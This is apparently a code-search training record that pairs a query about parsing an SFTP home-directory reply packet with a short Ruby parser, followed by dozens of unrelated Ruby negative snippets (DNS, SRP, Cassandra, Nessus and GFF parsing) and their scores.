"def parse_dns(raw)\n # Filtering Lines with Comments and Empty Lines\n dns_filter = raw.select { |x| x[0] != \"#\" && x != \"\\n\" }\n\n # Creating a List with 3 Columns\n dns_filter_list = []\n dns_filter.each { |x| dns_filter_list.push(x.split(\", \")) }\n\n # Creating the List each DNS for Hash\n record_type_list = []\n source_list = []\n destination_list = []\n\n dns_filter_list.each do |x|\n record_type_list.push(x[0])\n source_list.push(x[1])\n destination_list.push(x[2])\n end\n\n # Building the Hash\n dns_hash = {\n \"RECORDTYPE\".to_sym => record_type_list,\n \"SOURCE\".to_sym => source_list,\n \"DESTINATION\".to_sym => destination_list,\n }\n return dns_hash\nend",
"def read\n return unless File.exist?(filename)\n\n name = DEFAULT_NAME\n save = Hash.new{ |h,k| h[k.to_s] = {} }\n\n File.read(filename).lines.each do |line|\n if md = /^\\[(\\w+)\\]$/.match(line)\n name = md[1]\n end\n if md = /^(\\w+)\\s+(.*?)$/.match(line)\n save[name][md[2]] = md[1]\n end\n end\n\n save.each do |name, digest|\n @saved[name] = digest\n end\n end",
"def hash\n expr.hash\n end",
"def digestFile(filename)\n\tfh = File.open(filename)\n\tarray = String.new\n\tpreparse = true\n\tfh.each_line do |line|\n\t\tif preparse\n\t\t\tif line =~ /\\{/\n\t\t\t\tpreparse = false\n\t\t\t\tarray << line\n\t\t\tend\n\t\telse\n\t\t\t#Sub numberlongs\n\t\t\tif line.include? \"NumberLong\\(\"\n\t\t\t\tline.slice!(/NumberLong\\(/)\n\t\t\t\tline.slice!(/\\)/)\n\t\t\tend\n\n\t\t\t#ObjectId(\"4ef4af0963389003f300c2e7\"),\n\t\t\tif line.include? \"ObjectId\"\n\t\t\t\tline = line.gsub(\"ObjectId\\(\\\"\", \"\\\"ObjectId\\(\")\n\t\t\t\tline = line.gsub(\"\\\"\\)\", \"\\)\\\"\")\n\t\t\tend\n\n\t\t\t#Timestamp(10000, 27),\n\t\t\tif line.include? \": Timestamp\\(\"\n\t\t\t\tline = line.gsub(\"Timestamp\\(\", \"\\\"Timestamp\\(\")\n\t\t\t\tline = line.gsub(\"\\)\", \"\\)\\\"\")\n\t\t\tend\n\t\t\t#ISODate(\"2012-01-26T00:00:00Z\")\n\t\t\tif line.include? \": ISODate\\(\\\"\"\n\t\t\t\tline = line.gsub(\"ISODate\\(\\\"\", \"\\\"ISODate\\(\")\n\t\t\t\tline = line.gsub(\"\\\"\\)\", \"\\)\\\"\")\n\t\t\tend\n #BinData\n if line.include? \": BinData\\(\"\n line = line.gsub(\"BinData\\(\", \"\\\"BinData\\(\")\n line = line.gsub(\"\\\"\\)\", \"\\)\\\"\")\n line = line.gsub(\",\\\"\", \",\")\n end\n if line.include? \"\\\" : \\/\"\n line = line.gsub(\"\\\" : \\/\", \"\\\" : \\\"\\/\")\n line = line.gsub(\"\\/,\", \"\\/\\\",\")\n end\n\t\t\tif line !~ /bye/\n\t\t\t array << line\n\t\t\tend\n\t\tend\n\tend\n\tfh.close\n\tdoc = Yajl::Parser.parse(array)\n\treturn doc\nend",
"def process_challenge username, password, xsalt, xbb\n bb = xbb.to_i(16)\n # SRP-6a safety check\n return false if (bb % @N) == 0\n\n x = SRP.calc_x(username, password, xsalt)\n u = SRP.calc_u(@A, xbb, @N)\n\n # SRP-6a safety check\n return false if u == 0\n\n # calculate session key\n @S = \"%x\" % SRP.calc_client_S(bb, @a, @k, x, u, @N, @g)\n @K = SRP.sha1_hex(@S)\n\n # calculate match\n @M = \"%x\" % SRP.calc_M(username, xsalt, @A, xbb, @K, @N, @g)\n\n # calculate verifier\n @H_AMK = \"%x\" % SRP.calc_H_AMK(@A, @M, @K, @N, @g)\n\n return @M\n end",
"def challenge8(file)\n file.each_line.map(&:chomp).to_a.max_by do |line|\n ciphertext = line.extend(Utils::HexString).to_ascii\n blocks = (0...ciphertext.length).map { |i| ciphertext[i, 16] }\n blocks.map { |s| blocks.count(s) }.max\n end\n end",
"def hash\n [hint,name,ordinal,module_name].hash\n end",
"def getInstanceHash(instanceset_name, algo=\"none\")\n\t#=== Special case: the algorithm does not take input instances.\n\treturn [{\"_#{algo}_dummyInstance\"=>{\"desired_qual\"=> 0, \"reference\"=>0}}, [\"_#{algo}_dummyInstance\"]] if instanceset_name == \"_\"\n\n\t#=== Read set of instances to run on. (array of arrays [instance_name, opt])\n\tinstancesSorted = []\n\tinstanceHash = Hash.new\n\tFile.open(instanceset_name){|file|\n\t while line=file.gets;\n\t\traise \"Incorrect number of entries #{line.strip.split.length} in #{line}\" unless line.strip.split.length >= 2\n\t\tentries = line.chomp.strip.split\n\t\tinst = entries[0]\n\t\tqual = entries[1]\n\t\trest = entries[2...entries.length]\n\t\tinstanceHash[inst] = Hash.new\n\t\tinstanceHash[inst][\"desired_qual\"] = qual\n\t\tinstanceHash[inst][\"rest\"] = rest\n\t\tinstancesSorted << inst\n\t end\n\t}\n\treturn [instanceHash, instancesSorted]\nend",
"def hash\n [fully_qualified_rel,\n tmpl.pattern,\n templated?].hash\n end",
"def hash\n [uri, parameters, username, password, verify_mode].hash\n end",
"def read_data(fname)\n ents=[]\n if ( File.exist?(fname) )\n File.open(fname,'r') do |f|\n f.each_line do |line|\n line.chomp!\n a1,a2,a3,a4,a5,a6 = line.split(/\\s*==\\s*/)\n hash={}\n hash[\"1\"] = a1\n hash[\"2\"] = a2\n hash[\"3\"] = a3\n hash[\"4\"] = a4\n hash[\"5\"] = a5\n hash[\"6\"] = a6\n ents.push(hash)\n end\n end\n end\n ents\nend",
"def nodetool_status()\n out = `/opt/cassandra/bin/nodetool status`\n raise 'nodetool status failed' if $? != 0\n rows = out.split(\"\\n\")\n hash = {}\n dc_exp = /Datacenter: (.*)/\n #vnode\n #-- Address Load Tokens Owns Host ID Rack\n #non-vnode\n #-- Address Load Owns Host ID Token Rack\n #node_ex = /^(?<status>[UD\\?][NLJM]) +(?<address>(?:[0-9]{1,3}\\.){3}[0-9]{1,3}) +(?<load>(\\d+\\.?\\d* (TB|GB|MB|KB|bytes))|\\?) +(?<tokens>\\d+) +(?<owns>(\\d+\\.?\\d*%|\\?)) +(?<hostid>[a-z0-9\\-]+) +(?<rack>.*)$/\n node_ex = /^([UD\\?][NLJM]) +((?:[0-9]{1,3}\\.){3}[0-9]{1,3}) +((?:\\d+\\.?\\d* (?:TB|GB|MB|KB|bytes))|\\?) +(\\d+) +(\\d+\\.?\\d*%|\\?) +([a-z0-9\\-]+) +(.*)$/\n datacenter = nil\n rows.each do |row|\n m = dc_exp.match(row)\n if m\n datacenter = m[1]\n next\n end\n m = node_ex.match(row)\n next if m == nil\n node = {'datacenter' => datacenter}\n hash[m[2]] = node\n i = 0\n %w(status address load tokens owns hostid rack).each do |name|\n node[name] = m[i += 1]\n end\n # m.names.each do |name|\n # node[name] = m[name]\n # end\n end\n return hash\n end",
"def parse\n info \"---- Digest DB and store data in mRNA Hash (NoCache)\"\n @count_ids = Counter.new # Count ids\n @count_seqnames = Counter.new # Count seqnames\n @componentlist = SeekRecList.new(@iter.fh,@options[:parser]) # Store containers, like genes, contigs\n @orflist = SeekLinkedRecs.new # Store linked gene records\n @mrnalist = SeekLinkedRecs.new # Store linked mRNA records\n @cdslist = SeekLinkedRecs.new\n @exonlist = SeekLinkedRecs.new\n @sequencelist = {}\n @unrecognized_features = {}\n @iter.each_rec do |fpos, line|\n rec = case @options[:parser]\n when :bioruby\n Bio::GFF::GFF3::BioRubyFileRecord.new(fpos, line)\n when :line\n Bio::GFF::GFF3::FastParserFileRecord.new(fpos, line)\n else\n raise 'Unknown parser'\n end\n store_record(rec)\n end\n @iter.each_sequence do | id, bioseq |\n @sequencelist[id] = bioseq.to_s\n end\n validate_mrnas \n validate_cdss\n show_unrecognized_features\n @genelist = @count_ids.keys \n read_fasta\n end",
"def get_puppet_config\n system_config = %x{puppet config print}\n\n config_hash = Hash.new\n\n system_config.each_line do |line|\n k,v = line.split('=')\n config_hash[k.strip] = v.strip\n end\n\n return config_hash\nend",
"def fumbles_hash(stats_xml)\n {\n number: stats_xml[:number].to_i,\n lost: stats_xml[:lost].to_i\n }\n end",
"def readUnihanDatabase(filename, char_hash)\n File.open(filename) do |f|\n while (line = f.gets)\n next if line.match(/^#/) # line commented out?\n a = line.strip.split(\"\\t\")\n char_hash[a[0]] = Hash.new() unless char_hash.has_key? a[0]\n char_hash[a[0]][a[1].to_sym] = a[2]\n end\n end\nend",
"def rsg(filename)\n grammar = []\n definition = read_grammar_defs filename\n for line in definition\n grammar.push(split_definition(line))\n end\n hash = to_grammar_hash(grammar)\n print(expand(hash))\nend",
"def read\n num_kv = @kinvars.length\n unpck = String.new\n num_kv.times{unpck += 'd'}\n vals = @file.read(num_kv*8).unpack(unpck)\n vals_hash = Hash.new\n num_kv.times{|kv| vals_hash[@kinvars[kv].name] = vals[kv]}\n vals_hash\n end",
"def parse \n info \"---- Digest DB and store data in mRNA Hash\"\n @count_ids = Counter.new # Count ids\n @count_seqnames = Counter.new # Count seqnames\n @componentlist = {} # Store containers, like genes, contigs\n @orflist = LinkedRecs.new\n @mrnalist = LinkedRecs.new # Store linked mRNA records\n @cdslist = LinkedRecs.new\n @exonlist = LinkedRecs.new\n @sequencelist = {}\n @unrecognized_features = {}\n @gff.records.each do | rec |\n store_record(rec)\n end\n @gff.sequences.each do | bioseq |\n id = bioseq.entry_id\n @sequencelist[id] = bioseq.to_s # in Bio::Sequence with contained Bio::FastaFormat\n end\n validate_mrnas\n validate_cdss \n show_unrecognized_features \n @genelist = @count_ids.keys \n log_sys_info(\"After reading GFF\")\n read_fasta\n log_sys_info(\"After reading FASTA\")\n end",
"def hash(block, stored_hash, hash_calc, block_check, line)\r\n return 'Block empty' if block.nil?\r\n\r\n # calculate hash value for line\r\n error = \"Line #{line}: Invalid hash set to #{stored_hash.strip}\"\r\n\r\n # if hash stored as with capital letters, return error\r\n stored_hash = stored_hash.strip # get rid of trailing white space\r\n int_hash = stored_hash.to_i(16) # get stored hash and convert to decimal\r\n # check lenght of stored hash(max4)...may be optiaml to place elsewhere\r\n return error + \"\\nHash length is too big\" if stored_hash.size >= 5\r\n\r\n # check hash for leading 0's\r\n return error + \"\\nHash contains leading zeros\" if stored_hash[0] == '0' && stored_hash.size > 1\r\n\r\n # check to make sure value is valid hex values\r\n return error + \"\\nInvalid hex value, must be lowercase and from 0-f\" unless block_check.check_hex(stored_hash)\r\n\r\n # see if calculated hash and stored has match\r\n hash = block_check.get_hash(block, hash_calc) # get hash value\r\n # removes last hash from string\r\n output_string = block_check.parse(block, '|' + stored_hash)\r\n error_two = \"Line #{line}: String '#{output_string[0]}' hash set to #{stored_hash.strip},\"\\\r\n \"should be #{hash.to_s(16)}\"\r\n return error_two unless block_check.check_hash(hash, int_hash)\r\n\r\n nil\r\n end",
"def get_challenge_and_proof username, xverifier, xsalt, xaa\n # SRP-6a safety check\n return false if (xaa.to_i(16) % @N) == 0\n generate_B(xverifier)\n return {\n :challenge => {:B => @B, :salt => xsalt},\n :proof => {:A => xaa, :B => @B, :b => \"%x\" % @b,\n :I => username, :s => xsalt, :v => xverifier}\n }\n end",
"def [] files\n # This stores all our matches\n match_hash = {}\n\n # Go through each file, check if the file basename matches the regexp.\n files.each do |f|\n path, file = File.split(f)\n\n if (m = match_against(file))\n replacement = populate_based_on(m)\n match_hash[f] = if path == '.'\n replacement\n else\n File.join(path, replacement)\n end\n end\n end\n match_hash\n end",
"def initialize\n\t\t\t\t\t@vals = Hash.new\n\n\t\t\t\t\t@valid_references = Array[\n\t\t\t\t\t\t\"cpe\", \"bid\", \"see_also\", \"xref\", \"cve\", \"iava\", \"msft\",\n\t\t\t\t\t\t\"osvdb\", \"cert\", \"edb-id\", \"rhsa\", \"secunia\", \"suse\", \"dsa\",\n\t\t\t\t\t\t\"owasp\", \"cwe\", \"iavb\", \"iavt\", \"cisco-sa\", \"ics-alert\",\n\t\t\t\t\t\t\"cisco-bug-id\", \"cisco-sr\", \"cert-vu\", \"vmsa\", \"apple-sa\",\n\t\t\t\t\t\t\"icsa\", \"cert-cc\", \"msvr\", \"usn\", \"hp\", \"glsa\", \"freebsd\"\n\t\t\t\t\t]\n\n\t\t\t\t\t@valid_host_properties = Array[\n\t\t\t\t\t\t\"HOST_END\", \"mac-address\", \"HOST_START\", \"operating-system\", \"host-ip\", \"host-fqdn\", \"netbios-name\",\n\t\t\t\t\t\t\"local-checks-proto\", \"smb-login-used\", \"ssh-auth-meth\", \"ssh-login-used\", \"pci-dss-compliance\",\n\t\t\t\t\t\t\"pci-dss-compliance:\", \"system-type\", \"bios-uuid\", \"pcidss:compliance:failed\", \"pcidss:compliance:passed\",\n\t\t\t\t\t\t\"pcidss:deprecated_ssl\", \"pcidss:expired_ssl_certificate\", \"pcidss:high_risk_flaw\", \"pcidss:medium_risk_flaw\",\n\t\t\t\t\t\t\"pcidss:reachable_db\", \"pcidss:www:xss\", \"pcidss:directory_browsing\", \"pcidss:known_credentials\",\n\t\t\t\t\t\t\"pcidss:compromised_host:worm\", \"pcidss:obsolete_operating_system\", \"pcidss:dns_zone_transfer\",\n\t\t\t\t\t\t\"pcidss:unprotected_mssql_db\", \"pcidss:obsolete_software\", \"pcidss:www:sql_injection\", \"pcidss:backup_files\",\n\t\t\t\t\t\t\"traceroute-hop-0\", \"traceroute-hop-1\", \"traceroute-hop-2\", \"operating-system-unsupported\", \"patch-summary-total-cves\",\n\t\t\t\t\t\t\"pcidss:insecure_http_methods\", \"LastUnauthenticatedResults\", \"LastAuthenticatedResults\", \"cpe-0\", \"cpe-1\", \n\t\t\t\t\t\t\"cpe-2\", \"cpe-3\", \"Credentialed_Scan\", \"policy-used\", \"UnsupportedProduct:microsoft:windows_xp::sp2\",\n\t\t\t\t\t\t\"UnsupportedProduct:microsoft:windows_xp\", \"UnsupportedProduct:microsoft:windows_2000\", \"UnsupportedProduct\"\n\t\t\t\t\t]\n\n\t\t\t\t\t@valid_host_properties_regex = Array[\n\t\t\t\t\t\t\"patch-summary-cve-num\", \"patch-summary-cves\", \"patch-summary-txt\", \"cpe-\\d+\", \"KB\\d+\"\n\t\t\t\t\t]\n\n\t\t\t\t\t@valid_elements = Array[\"ReportItem\", \"plugin_version\", \"risk_factor\",\n\t\t\t\t\t\t\"description\", \"cvss_base_score\", \"solution\", \"item\", \"plugin_output\", \"tag\", \"synopsis\", \"plugin_modification_date\",\n\t\t\t\t\t\t\"FamilyName\", \"FamilyItem\", \"Status\", \"vuln_publication_date\", \"ReportHost\", \"HostProperties\", \"preferenceName\",\n\t\t\t\t\t\t\"preferenceValues\", \"preferenceType\", \"fullName\", \"pluginId\", \"pluginName\", \"selectedValue\", \"selectedValue\",\n\t\t\t\t\t\t\"name\", \"value\", \"preference\", \"plugin_publication_date\", \"cvss_vector\", \"patch_publication_date\",\n\t\t\t\t\t\t\"NessusClientData_v2\", \"Policy\", \"PluginName\", \"ServerPreferences\", \"policyComments\", \"policyName\", \"PluginItem\",\n\t\t\t\t\t\t\"Report\", \"Family\", \"Preferences\", \"PluginsPreferences\", \"FamilySelection\", \"IndividualPluginSelection\", \"PluginId\",\n\t\t\t\t\t\t\"pci-dss-compliance\", \"exploitability_ease\", \"cvss_temporal_vector\", \"exploit_framework_core\", \"cvss_temporal_score\",\n\t\t\t\t\t\t\"exploit_available\", \"metasploit_name\", \"exploit_framework_canvas\", \"canvas_package\", \"exploit_framework_metasploit\",\n\t\t\t\t\t\t\"plugin_type\", \"exploithub_sku\", \"exploit_framework_exploithub\", \"stig_severity\", \"plugin_name\", \"fname\", \"always_run\",\n\t\t\t\t\t\t\"cm:compliance-info\", \"cm:compliance-actual-value\", \"cm:compliance-check-id\", \"cm:compliance-policy-value\",\n\t\t\t\t\t\t\"cm:compliance-audit-file\", \"cm:compliance-check-name\", \"cm:compliance-result\", \"cm:compliance-output\", \"policyOwner\",\n\t\t\t\t\t\t\"visibility\", \"script_version\", \"attachment\", \"policy_comments\", \"d2_elliot_name\", \"exploit_framework_d2_elliot\",\n\t\t\t\t\t\t\"exploited_by_malware\", \"compliance\"\n\t\t\t\t\t]\n\n\t\t\t\t\t@valid_elements = @valid_elements + @valid_references\n\n\t\t\t\t\t# These are the more commonly used host properties, mapping them here to store in the host table\n\t\t\t\t\t@host_properties_mapping = {\n\t\t\t\t\t\t\"HOST_END\" => :end,\n\t\t\t\t\t\t\"mac-address\" => :mac,\n\t\t\t\t\t\t\"HOST_START\" => :start,\n\t\t\t\t\t\t\"operating-system\" => :os,\n\t\t\t\t\t\t\"host-ip\" => :ip,\n\t\t\t\t\t\t\"host-fqdn\" => :fqdn,\n\t\t\t\t\t\t\"netbios-name\" => :netbios\n\t\t\t\t\t}\n\t\t\t\tend",
"def compute_checksums data\n\n digest = OpenSSL::Digest::Digest.new('sha256')\n tree_digest = OpenSSL::Digest::Digest.new('sha256')\n tree_parts = []\n\n until data.eof?\n\n chunk = data.read(1024 * 1024) # read 1MB\n tree_parts << tree_digest.update(chunk).digest\n tree_digest.reset\n\n digest.update(chunk)\n\n end\n\n data.rewind\n\n [digest.to_s, compute_tree_hash(tree_parts)]\n\n end",
"def compute_hash( path )\n res = '0'\n autorelease_pool { res = NSData.sha1FromContentsOfFile(path) }\n res\n end",
"def read_puppetfile(puppetfile)\n puppetfile_contents = {\n modules: [],\n extras: []\n }\n\n File.foreach(puppetfile) do |line|\n if Module_Regex.match(line)\n name = Regexp.last_match(1)\n print \" #{name} looks like a forge module.\\n\" if @options[:debug]\n puppetfile_contents[:modules].push(name)\n else\n next if line =~ Forge_Regex\n next if line =~ Blanks_Regex\n next if line =~ /#{Puppetfile_Header}/\n next if line =~ /#{Extras_Note}/\n\n puppetfile_contents[:extras].push(line)\n end\n end\n\n puppetfile_contents\n end",
"def hash\n [domain, register_server, transport_protocol, proxy_server, register_server2, transport_protocol2, proxy_server2, register_server3, transport_protocol3, proxy_server3, registration_expire_time, user_name, password, authorization_name, user_email, voice_mail].hash\n end",
"def get_esx_details(esx_hostname)\n esx_passwd_file = Dir.home+\"/.esxpasswd\"\n esx_host_found = false\n esx_info_change = false\n if !File.exist?(esx_passwd_file)\n esx_username = get_esx_username()\n esx_password = get_esx_password()\n update_esx_passwd_file(esx_hostname,esx_username,esx_password)\n else\n esx_data = File.readlines(esx_passwd_file)\n esx_data.each do |line|\n line.chomp\n if line.match(/^#{esx_hostname}:/)\n esx_host_found = true\n esx_details = line.split(/:/)\n esx_username = esx_details[1]\n if esx_username !~/[A-Z]|[a-z]/\n esx_username = get_esx_username()\n esx_info_change = true\n end\n esx_password = esx_details[2]\n if esx_password !~/[A-Z]|[a-z]|[0-9]/\n esx_password = get_esx_password()\n esx_info_change = true\n end\n if esx_info_change == true\n update_esx_passwd_file(esx_hostname,esx_username,esx_password)\n end\n end\n end\n if esx_host_found == false\n esx_username = get_esx_username()\n esx_password = get_esx_password()\n update_esx_passwd_file(esx_hostname,esx_username,esx_password)\n end\n end\n return esx_username,esx_password\nend",
"def hash_char_positions\n hash_positions= []\n @lines.each_with_index do |line, line_index|\n line.enum_for(:scan, /#/).each do\n hash_positions << [line_index, Regexp.last_match.begin(0)]\n end\n end\n if hash_positions.count != 2\n raise ArgumentError, \"Incorrect hash symbol number!!! except exactly two hash symbols.\"\n end\n hash_positions\n end"
] | [
"0.53121525",
"0.5138052",
"0.50883794",
"0.49994516",
"0.48822543",
"0.48791653",
"0.48696357",
"0.48524153",
"0.48469138",
"0.48421836",
"0.48236346",
"0.48082274",
"0.48020944",
"0.47873074",
"0.47591317",
"0.47563377",
"0.46776003",
"0.46692517",
"0.466306",
"0.46610093",
"0.46570402",
"0.465211",
"0.46345192",
"0.46339956",
"0.4625344",
"0.46166816",
"0.45962235",
"0.45853147",
"0.4556601",
"0.45548448",
"0.45545125",
"0.45455408",
"0.45041224",
"0.45030552",
"0.4502191",
"0.44949237",
"0.4491746",
"0.44903928",
"0.44859207",
"0.44843695",
"0.44742286",
"0.44726416",
"0.4459144",
"0.44588727",
"0.4450418",
"0.44405398",
"0.4421948",
"0.44192874",
"0.44157177",
"0.44078922",
"0.43985897",
"0.43922973",
"0.4392255",
"0.437244",
"0.436841",
"0.43672293",
"0.4366688",
"0.43623027",
"0.43556795",
"0.43521607",
"0.43354166",
"0.43350518",
"0.43346187",
"0.43280149",
"0.43180788",
"0.430175",
"0.43006435",
"0.42996842",
"0.42907158",
"0.42892408",
"0.4288517",
"0.42828137",
"0.4279098",
"0.42769238",
"0.4275553",
"0.42702293",
"0.42677277",
"0.42647138",
"0.4254903",
"0.42485464",
"0.42462593",
"0.42394704",
"0.42371804",
"0.42368013",
"0.42341697",
"0.42259714",
"0.4224212",
"0.42240465",
"0.42135957",
"0.4210831",
"0.4208392",
"0.42075402",
"0.42018825",
"0.41978222",
"0.41945887",
"0.41932562",
"0.41916794",
"0.41914082",
"0.41879722",
"0.41841692"
] | 0.5863489 | 0 |
Parses the given "homedirectory" FXP_EXTENDED_REPL packet and returns a hash with one key, :home, which references the home directory returned by the server. | def parse_home_packet(data)
{ :home => data.read_string }
end | {
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
} | [
"def home\n Pathname.new(node.chopped.nginx.nginx_home)\n end",
"def get_account_home_mountpoint()\n account_home_mountpoint = \"/export/home/\"+$q_struct[\"account_login\"].value\n return account_home_mountpoint\nend",
"def home(username)\n send_request(FXP_EXTENDED, :string, \"home-directory\", :string, username)\n end",
"def home\n @home ||= File.expand_path('~')\n end",
"def home_path\n File.expand_path(\"~\")\n end",
"def home_path\n @ssh_home\n end",
"def home\n ENV['HOME'] || File.expand_path('~')\n end",
"def home_basedir\n if platform_family?('mac_os_x')\n '/Users'\n elsif platform_family?('solaris2')\n '/export/home'\n else\n '/home'\n end\n end",
"def detect_home(set_if_missing=false)\n if(ENV['HOME'] && Pathname.new(ENV['HOME']).absolute?)\n ENV['HOME']\n else\n home = File.directory?('/root') && File.writable?('/root') ? '/root' : '/tmp'\n if(set_if_missing)\n ENV['HOME'] = home\n end\n home\n end\n end",
"def server_home\n FilePath.new(@build_dir, \"homes\", \"server\").ensure_directory\n end",
"def guess_user_home(other_user=nil)\n this_user = other_user || opts[:user]\n @rye_guessed_homes ||= {}\n \n # A simple cache. \n return @rye_guessed_homes[this_user] if @rye_guessed_homes.has_key?(this_user)\n \n # Some junk to determine where user home directories are by default.\n # We're relying on the command \"useradd -D\" so this may not work on\n # different Linuxen and definitely won't work on Windows.\n # This code will be abstracted out once I find a decent home for it.\n # /etc/default/useradd, HOME=/home OR useradd -D\n # /etc/adduser.config, DHOME=/home OR ??\n user_defaults = {}\n ostmp = self.ostype\n ostmp &&= ostype.to_s\n \n if ostmp == \"sunos\"\n #nv.scan(/([\\w_-]+?)=(.+?)\\s/).each do |n, v|\n # n = 'HOME' if n == 'basedir'\n # user_defaults[n.upcase] = v.strip\n #end\n # In Solaris, useradd -D says the default home path is /home\n # but that directory is not writable. See: http://bit.ly/IJDD0\n user_defaults['HOME'] = '/export/home'\n elsif ostmp == \"darwin\"\n user_defaults['HOME'] = '/Users'\n elsif ostmp == \"windows\"\n user_defaults['HOME'] = 'C:/Documents and Settings'\n else\n raw = self.quietly { useradd(:D) } rescue []\n raw = [\"HOME=/home\"] if raw.nil? || raw.empty?\n raw.each do |nv|\n n, v = nv.scan(/\\A([\\w_-]+?)=(.+)\\z/).flatten\n user_defaults[n] = v\n end\n end\n \n @rye_guessed_homes[this_user] = \"#{user_defaults['HOME']}/#{this_user}\"\n end",
"def get_homedir(user)\n begin\n Etc.getpwnam(\"#{user}\")[\"dir\"].chomp\n # or with dscl\n #homedir = %x(dscl . -read /users/#{user} NFSHomeDirectory).gsub(/NFSHomeDirectory: /,\"\")\n rescue Exception => e\n end \n end",
"def parse_extented_reply_packet(packet)\n packet.read_string do |extension|\n data = packet.remainder_as_buffer\n parsed_packet = case extension\n when \"md5-hash\" then parse_md5_packet(data)\n when \"check-file\" then parse_hash_packet(data)\n when \"home-directory\" then parse_home_packet(data)\n else raise NotImplementedError, \"unknown packet type: #{extension}\"\n end\n end\n\n { :extension => extension }.merge(parsed_packet)\n end",
"def home\n @home ||= ENV.fetch(\"HOME\").tr(\"\\\\\", \"/\")\nend",
"def get_pwd_hash(dir_only=false)\n pwd_hash = {}\n index = 1\n @pwdnode[\"file\"].each do |filefolder|\n if !dir_only or filefolder[\"isDirectory\"] == 'true'\n pwd_hash[index] = filefolder[\"name\"]\n index += 1\n end\n end\n return pwd_hash\n end",
"def to_h\n {host: host, lib: lib, bin: bin, moabhomedir: moabhomedir}\n end",
"def home_path\n result = tmp_path.join(\"home\")\n FileUtils.mkdir_p(result)\n result\n end",
"def homedir(user = (@sudo||@user))\n exec! \"awk -F: -v v=#{escape(user)} '{if ($1==v) print $6}' /etc/passwd\"\n end",
"def infer_homedir(username)\n\t# mitigate blank username rm -rf /network/home/\n\tif username.blank?\n\t\traise(\"Username cannot be empty!\")\n\t# mitigate path traversal rm -rf /network/home/../../etc/shadow\n\telsif username !~ /\\A[\\w\\.-]+\\z/\n\t\traise(\"Invalid format of username\")\n\tend\n\n\tFile.join($home_base, username)\nend",
"def hash\n [host_list, total_matching, total_returned].hash\n end",
"def home_dir(name=nil)\n username = (name || self.username)\n if (username == \"root\")\n \"/root\"\n else\n \"/home/#{username}\"\n end\n end",
"def read_data(hash_len, data, sub)\n # returns an array of hashes of the form: { host, path, chunk }\n entry_list = []\n addchunknum = \"\"\n\n data = StringIO.new(data)\n while(hostkey = data.read(4))\n hostkey = hostkey.unpack(\"H*\")[0]\n count = data.read(1).unpack(\"H*\")[0].hex # or .to_i(16)\n if(sub)\n addchunknum = data.read(4).unpack(\"H*\")[0]\n end\n\n # If count > 1, it will be prefix-chunk until the last one, which will be just prefix\n count.times do |i|\n entry = {}\n entry['host'] = hostkey\n\n path_prefix = data.read(hash_len).unpack(\"H*\")[0]\n entry['path'] = path_prefix\n\n if(sub && count > 1 && i != count-1)\n entry['chunk'] = data.read(4).unpack(\"H*\")[0]\n else\n entry['chunk'] = addchunknum\n end\n\n entry_list.push(entry)\n end\n end\n\n return entry_list\n end",
"def hiera_datadir\n # This output lets us know where Hiera is configured to look on the system\n puppet_lookup_info = run_shell('puppet lookup --explain test__simp__test').stdout.strip.lines\n puppet_config_check = run_shell('puppet agent --configprint manifest').stdout\n\n if puppet_config_check.nil? || puppet_config_check.empty?\n fail(\"No output returned from `puppet config print manifest`\")\n end\n\n puppet_env_path = File.dirname(puppet_config_check)\n\n # We'll just take the first match since Hiera will find things there\n puppet_lookup_info = puppet_lookup_info.grep(/Path \"/).grep(Regexp.new(puppet_env_path))\n\n # Grep always returns an Array\n if puppet_lookup_info.empty?\n fail(\"Could not determine hiera data directory under #{puppet_env_path}\")\n end\n\n # Snag the actual path without the extra bits\n puppet_lookup_info = puppet_lookup_info.first.strip.split('\"').last\n\n # Make the parent directories exist\n run_shell(\"mkdir -p #{File.dirname(puppet_lookup_info)}\", acceptable_exit_codes: [0])\n\n # We just want the data directory name\n datadir_name = puppet_lookup_info.split(puppet_env_path).last\n\n # Grab the file separator to add back later\n file_sep = datadir_name[0]\n\n # Snag the first entry (this is the data directory)\n datadir_name = datadir_name.split(file_sep)[1]\n\n # Constitute the full path to the data directory\n datadir_path = puppet_env_path + file_sep + datadir_name\n\n # Return the path to the data directory\n return datadir_path\nend",
"def set_data_home_dir(data_home_dir)\n PureHailDB.ib_cfg_set(\"data_home_dir\", :string, data_home_dir)\n end",
"def kerl_environment\n { 'HOME' => kerl_path }\n end",
"def varprefix\n HOMEBREW_PREFIX/'share/mailman'\n end",
"def generate_hosts_map(directory_entries, location = nil)\n hosts_map = {}\n \n directory_entries.each{\n |hostname,entry|\n if location != nil && entry[\"location\"] == location\n if entry.has_key?(\"private-address\")\n hosts_map[hostname] = entry[\"private-address\"]\n elsif entry.has_key?(\"public-address\")\n hosts_map[hostname] = entry[\"public-address\"]\n else\n TU.error(\"Unable to find a private or public address for #{hostname}\")\n end\n else\n if entry.has_key?(\"public-address\")\n hosts_map[hostname] = entry[\"public-address\"]\n else\n TU.error(\"Unable to find a public address for #{hostname}\")\n end\n end\n }\n \n return hosts_map\n end",
"def server_root \n @hash[\"ServerRoot\"]\n end",
"def home(user=nil)\n File.expand_path(Dir.home(user))\n end",
"def homeserver_suffix\n \":#{homeserver}\" if domain\n end",
"def homeserver_suffix\n \":#{homeserver}\" if domain\n end",
"def homify f = ''\n if f.length == 0 then @homedir\n else \"#{@homedir}/#{f}\" end\n end",
"def homeserver\n port_s = port ? \":#{port}\" : ''\n domain ? domain + port_s : ''\n end",
"def homeserver\n port_s = port ? \":#{port}\" : ''\n domain ? domain + port_s : ''\n end",
"def diff_files\n hsh = {}\n @base.git.diff_files.split(\"\\n\").each do |line|\n (info, file) = line.split(\"\\t\")\n (mode_src, mode_dest, sha_src, sha_dest, status) = info.split\n hsh[file] = {:path => file, :mode_repo => mode_src.to_s[1, 7], :mode_index => mode_dest,\n :sha_repo => sha_src, :sha_index => sha_dest, :status => status}\n end\n hsh\n end",
"def seven_zip_home\n \"#{windows_path(Chef::Config[:file_cache_path])}\\\\seven_zip_#{node['poise-archive']['seven_zip']['version']}\"\n end",
"def home(subcomponent = \"\")\n File.expand_path(\"#{@basepath}/#{subcomponent}\")\n end",
"def home_file(*path)\n File.join(ENV['HOME'], *path)\nend",
"def home_file(*path)\n File.join(ENV['HOME'], *path)\nend",
"def bare_d\n home.join('bare.conf.d')\n end",
"def parse path\n @h=Hash.new(0)\n open(path).readlines.map{|x|\n x.chomp.split(\" \").reject{|v|v.empty?}\n }.each{|u|\n @h[u.shift]=u.map{|w|w.split(\":\")}\n }\n @h.clone\nend",
